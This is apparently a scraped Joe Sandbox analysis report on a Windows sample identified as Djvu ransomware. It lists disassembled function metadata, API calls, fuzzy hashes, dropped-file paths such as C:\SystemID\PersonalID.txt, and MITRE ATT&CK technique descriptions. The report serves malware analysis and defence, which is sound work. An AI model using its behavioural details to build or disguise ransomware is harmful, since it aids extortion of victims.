Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: a3f4a39e8df7b513e234ed0303b0f68c4355772c15e8716ba9181a50c2db9fcb
Instruction ID: e39d10069af207f7b5318367268813b9dc796cef5a4596c55d04360e9d636fe1
Opcode Fuzzy Hash: a3f4a39e8df7b513e234ed0303b0f68c4355772c15e8716ba9181a50c2db9fcb
Instruction Fuzzy Hash: CC313671E00204EBDB14AF68DC46BEE7B78EF06704F108129F81567180D7796A48DBA1

Function 01027094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 010270AB

Part of subcall function 010277A0: ___BuildCatchObjectHelper.LIBCMT ref: 010277D2
Part of subcall function 010277A0: ___AdjustPointer.LIBCMT ref: 010277E9

_UnwindNestedFrames.LIBCMT ref: 010270C2
___FrameUnwindToState.LIBCMT ref: 010270D4
CallCatchBlock.LIBCMT ref: 010270F8

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 63599185ec1ae8b8b87b54f551720880a6c0796632ccc26b92361d35e51873ae
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: DA010232000119BBDF22AF59CC00EDA3BAAEF69714F148014FE9862120D336E9A19BA0

Function 00F853B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00F85007: __getptd_noexit.LIBCMT ref: 00F85008
Part of subcall function 00F85007: __amsg_exit.LIBCMT ref: 00F85015

__calloc_crt.LIBCMT ref: 00F85A01

Part of subcall function 00F88C96: __calloc_impl.LIBCMT ref: 00F88CA5

__lock.LIBCMT ref: 00F85A37
___addlocaleref.LIBCMT ref: 00F85A43
__lock.LIBCMT ref: 00F85A57

Part of subcall function 00F85208: __getptd_noexit.LIBCMT ref: 00F85208

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 9d7027de85c95322c65be6371c4e15fed26dc832d79f47ae4019f368219297e4
Instruction ID: fd1a1afffdced0ca66f55d868beaa982773bbcbb2918563d1599426ac5b39d39
Opcode Fuzzy Hash: 9d7027de85c95322c65be6371c4e15fed26dc832d79f47ae4019f368219297e4
Instruction Fuzzy Hash: 67019E31A41701EBD724FFA88C83B9D77E0AF41B60F604249F0A59B2C2CE7C5941AB61

Function 00FA09B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00FA09DD

Part of subcall function 00FA10FD: __fltout2.LIBCMT ref: 00FA1126

__cftog_l.LIBCMT ref: 00FA0A03
__cftoe_l.LIBCMT ref: 00FA0A35

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 9a0c6f675d30774bf08fd44637bc6c1f4e00eb2e021c3e310c6b3c395672661a
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 2B0143B640014EBFCF125E84DC418EE3F66BB2E354F558415FE1954131C63AC9B1BB81

Function 00F727A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00F727B9
_malloc.LIBCMT ref: 00F727C3

Part of subcall function 00F80C62: __FF_MSGBANNER.LIBCMT ref: 00F80C79
Part of subcall function 00F80C62: __NMSG_WRITE.LIBCMT ref: 00F80C80
Part of subcall function 00F80C62: RtlAllocateHeap.NTDLL(00900000,00000000,00000001,00000000,00000000,00000000,?,00F88CF4,00000000,00000000,00000000,00000000,?,00F88BE1,00000018,01067BD0), ref: 00F80CA5

_memset.LIBCMT ref: 00F727CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 00F727E4

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 2f6cce9190304dcbee4540eebb55a122ad9826f4657e4f1c65e5489a9f73b9ce
Instruction ID: ece43ad7b6237de153029e003b94d084d078ec98b05eff4670ef9258e7c94498
Opcode Fuzzy Hash: 2f6cce9190304dcbee4540eebb55a122ad9826f4657e4f1c65e5489a9f73b9ce
Instruction Fuzzy Hash: E5F05C357012047BE7306A659C8BFBB769DDF87760F200129F604E32C2EA562D0553F5

Function 00F72800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00F72806
_malloc.LIBCMT ref: 00F72814

Part of subcall function 00F80C62: __FF_MSGBANNER.LIBCMT ref: 00F80C79
Part of subcall function 00F80C62: __NMSG_WRITE.LIBCMT ref: 00F80C80
Part of subcall function 00F80C62: RtlAllocateHeap.NTDLL(00900000,00000000,00000001,00000000,00000000,00000000,?,00F88CF4,00000000,00000000,00000000,00000000,?,00F88BE1,00000018,01067BD0), ref: 00F80CA5

_memset.LIBCMT ref: 00F7281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00F72832

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5e9be8ca0a5dec488f413b9bf742468305deae4ad4f8eedd2c4202b03eaf12c0
Instruction ID: 82bff05c373489f14e820eabcf52fd1fb41d42b4858ca34a310388709b7de083
Opcode Fuzzy Hash: 5e9be8ca0a5dec488f413b9bf742468305deae4ad4f8eedd2c4202b03eaf12c0
Instruction Fuzzy Hash: 46E086763015243BF52026596C8BFAF761CCBC37A5F600115F611D22D28A991C0592B0

Function 00F74920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F749F1

Strings

string too long, xrefs: 00F74C33
invalid string position, xrefs: 00F74C3D

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: c081f7e4640f4aab0a7849006e489ce6f93bbeef4072ed3199174cd05204f7bb
Instruction ID: 5cdcf7fc625b3cb5143338f6dc7465bdaf985ec31ec80fac642f4d454b3d657d
Opcode Fuzzy Hash: c081f7e4640f4aab0a7849006e489ce6f93bbeef4072ed3199174cd05204f7bb
Instruction Fuzzy Hash: 97C13B71700219DBCB24CF5CD9C09AAB3B6FF84300B20856EE84A8B655DB34FD55EB96

Function 00FD0040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FD0118
_memset.LIBCMT ref: 00FD0199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 00FD00F9, 00FD017A, 00FD0202, 00FD0228

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: fa6c14ca7a8e675faf320ba78aefaf2058ad1bf9a70048f343fc38a278c737ff
Instruction ID: afc5ad06b279ed6117e79e542d9cf625d1f870c0e6d94ba093d4259d059226b7
Opcode Fuzzy Hash: fa6c14ca7a8e675faf320ba78aefaf2058ad1bf9a70048f343fc38a278c737ff
Instruction Fuzzy Hash: E151DA71B4030637E7306EB6AC86F6B779ADF41B60F0C042AFA14D5282EFA5E944B571

Function 00F6C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 00F6C94B
_fputws.LIBCMT ref: 00F6C9C6
_fputws.LIBCMT ref: 00F6C9E8
_fputws.LIBCMT ref: 00F6C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 00F6C956
C:\SystemID, xrefs: 00F6C946

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b4ba5d50132c68eb375e4da3b1621847cd0ea9d07e679350c4b4f1da0e63fe05
Instruction ID: 82ef77c58639238e81c9fa3845ee56c6de46077658bb0b9936f4ccdc9e557797
Opcode Fuzzy Hash: b4ba5d50132c68eb375e4da3b1621847cd0ea9d07e679350c4b4f1da0e63fe05
Instruction Fuzzy Hash: FE112772D403059BDF30EF64CC523AF77A1EF00724F140529ECDA56141E37AA914ABC2

Function 00FE0620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE0686

Part of subcall function 00FB4C00: _raise.LIBCMT ref: 00FB4C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00FE062E
.\crypto\evp\digest.c, xrefs: 00FE0638

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: ee175ca85a9f66ad18bb6cf53deae2b7c532340b911c952323485ebd877c2b29
Instruction ID: a86015d10b30392a835ba7212d05a024a6f13947d5bcf98d87b907babf386cab
Opcode Fuzzy Hash: ee175ca85a9f66ad18bb6cf53deae2b7c532340b911c952323485ebd877c2b29
Instruction Fuzzy Hash: 9F018B75A00200AFD310DF09EC42E56B7E2AFC8314F194428F5888B362DB62EC959B95

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report f6ffg1sZS2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\SystemID\PersonalID.txt

